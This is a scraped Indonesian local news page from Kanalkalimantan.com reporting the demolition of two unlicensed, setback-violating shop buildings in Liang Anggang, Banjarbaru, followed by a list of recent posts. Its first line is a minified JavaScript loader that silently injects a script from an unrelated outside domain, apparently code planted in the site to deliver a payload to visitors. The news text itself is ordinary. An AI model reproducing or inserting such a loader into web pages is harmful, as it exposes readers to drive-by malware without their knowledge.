(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Berizin ‘Memakan’ Garis Sempadan, Bangunan di Liang Anggang Dibongkar


KANALKALIMANTAN.COM, BANJARBARU – Deretan bangunan tempat usaha tak memiliki izin di Jalan Pelita 5, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, dibongkar tim gabungan Pemerintah Kota (Pemkot Banjarbaru, Kamis (20/6/2024) siang.

Total ada dua buah bangunan toko dengan berbahan beton, dimana satu bangunan memiliki delapan pintu.

Pantauan Kanalkalimantan.com, bangunan toko setengah jadi tersebut belum pernah digunakan untuk melakukan usaha. Bangunan itu pun dirobohkan oleh petugas gabungan menggunakan alat ekskavator.

Baca juga: Babinsa dan Bhabinkamtibmas Diberi Wewenang Tutup Layanan Transaksi Top Up Game Online

Kepala Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru, Hidayaturahman yang memimpin eksekusi perobohan bangunan mengatakan, bangunan tersebut tidak memiliki izin Persetujuan Bangunan Gedung (PBG).

“Karena memang tidak mengantongi perizinan dari pemerintah kota yakni tidak memiliki PBG dan tidak memenuhi syarat terkait sempadan jalan,” ujar Kasatpol PP Banjarbaru, di lokasi pembongkaran, Kamis (20/6/2024) siang.

Bahkan bukan hanya karena izin, namun pemilik bangunan telah mendirikan bangunan dengan tidak memenuhi persyaratan Garis Sempadan Bangunan (GSB).

Sebelum pembongkaran, kata Dayat, Satpol PP telah memberikan peringatan dan surat pemberitahuan kepada pemilik bangunan untuk menaati sepadan jalan dan kemudian melengkapi izinnya. Namun tak kunjung ditanggapi.

“Kita sudah melaksanakan SOP, mulai dari Disperkim yang telah memberikan surat peringatan (SP) satu dua dan tiga, kemudian dilanjutkan SP dari kami, tapi tidak ada tanggapan dari pihak pemilik bangunan,” ungkapnya.

Baca juga: Konvoi Geng Motor Bawa Sajam, 11 Remaja di Banjarmasin Diciduk Polisi

Surat Keputusan (SK) Wali Kota Banjarbaru terkait pembongkaran dan penertiban bangunan tak berizin juga sudah dikeluarkan pada Februari 2024 lalu.

Tidak memiliki izin dan melewati garis sempadan bangunan dirobohkan petugas gabungan. Foto: wanda

“Sesuai SOP kita mengacu pada SK Wali Kota di bulan Februari untuk pembongkaran dan penertiban bangunan ini, termasuk dengan diberikannya surat peringatan sejak Februari itu, seharusnya waktu untuk pemilik melengkapi izin bangunannya cukup panjang,” jelas dia.

Masih menurut Kasatpol PP Banjarbaru pemilik bangunan lebih dahulu mendirikan bangunan sebelum menyelesaikan proses perizinan.

Baca juga: Pembongkaran Kandang Babi Mundur, Pemko Banjarbaru Tambah Waktu Sebulan

“Ada upaya dari pemilik bangunan untuk mengurus izinnya, namun karena memang bangunan ini tidak memenuhi garis sempadan, sehingga tentu izinnya juga terkendala,” sambungnya.

Sehari sebelum penertiban, kata dia, petugas kembali mengirimkan pemberitahuan agar pemilik bangunan dapat mengamankan material atau barang berharga dalam bangunan tersebut sebelum dilakukan pembongkaran. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

8 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

9 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.